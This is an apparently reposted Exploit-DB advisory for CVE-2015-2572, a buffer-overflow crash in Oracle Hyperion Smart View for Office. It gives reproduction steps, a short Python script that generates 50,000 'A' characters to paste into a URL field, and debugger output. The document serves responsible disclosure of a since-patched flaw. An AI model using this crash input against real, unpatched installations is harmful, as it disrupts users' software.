Oracle Hyperion Smart View for Office 11.1.2.3.000 – Crash (PoC)

• Exploit Database
• 14 阅读

• 作者： sajith
  日期： 2015-04-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/36783/

• # Exploit Title: Buffer Overflow in Oracle� Hyperion Smart View for Office
  [DOS]
  # Exploit Author: sajith
  # Vendor Homepage: http://oracle.com
  # vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157
  #Vulnerable Link:
  http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html
  # Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1
  [x64],en-us
  #plugin tested with Microsoft Excel 2010
  #CVE: CVE-2015-2572
  
  Responsible Disclosure:
  
  Reported to Oracle on Jul 7, 2014
  patch released on April 14, 2015
  
  How to reproduce the bug?
  
  
  1)install "Smart view" and open Microsoft excel and click on "smart view"
  tab
  
  2)click on "Options" and then click on "Advanced" tab
  
  3) In General menu in "shared Connections URL" enter large value say 50000
  "A"'s and press ok, the application crashes, the output of the crash
  analyzed in debugger is shown below
  
  Note:Plugin once installed automatically integrates with Microsoft office
  products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability
  can be exploited via any of these products.
  
  ==================python script to create 50000 "A"'s============
  
  
  try:
  
  print "POC by sajith shetty"
  
  f = open("text.txt","w")
  
  junk = "A" * 50000
  
  f.write(junk)
  
  print "done"
  
  except Exception, e:
  
  print "error- " + str(e)
  
  
  Debugger o/p:
  
  eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061
  edi=0041005d
  eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0 nv up ei pl nz na pe
  nc
  cs=0023ss=002bds=002bes=002bfs=0053gs=002b
  efl=00010206
  ntdll!RtlEnterCriticalSection+0x12:
  779622d2 f00fba3000lock btr dword ptr [eax],0
  ds:002b:00410061=????????
  
  caused by MODULE_NAME: HsAddin
  
  
  startendmodule name
  0fb50000 111a0000 HsAddin(export symbols)
  C:\Oracle\SmartView\bin\HsAddin.dll
  Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll
  Image path: C:\Oracle\SmartView\bin\HsAddin.dll
  Image name: HsAddin.dll
  Timestamp:Wed Mar 27 04:27:50 2013 (515227EE)
  CheckSum: 0163F951
  ImageSize:01650000
  File version: 11.1.2.3085
  Product version:11.1.2.3085
  File flags: 0 (Mask 3F)
  File OS:4 Unknown Win32
  File type:2.0 Dll
  File date:00000000.00000000
  Translations: 0409.04b0
  CompanyName:Oracle Corporation
  ProductName:Oracle� Hyperion Smart View for Office, Fusion Edition
  InternalName: CommonAddin
  ProductVersion: 11.1.2.3.000.157
  FileVersion:11.1.2.3085
  FileDescription:Oracle� Hyperion Smart View for Office, Fusion Edition
  LegalCopyright: Copyright 2004, 2013 Oracle Corporation.All rights
  reserved
  LegalTrademarks:Oracle� is registered.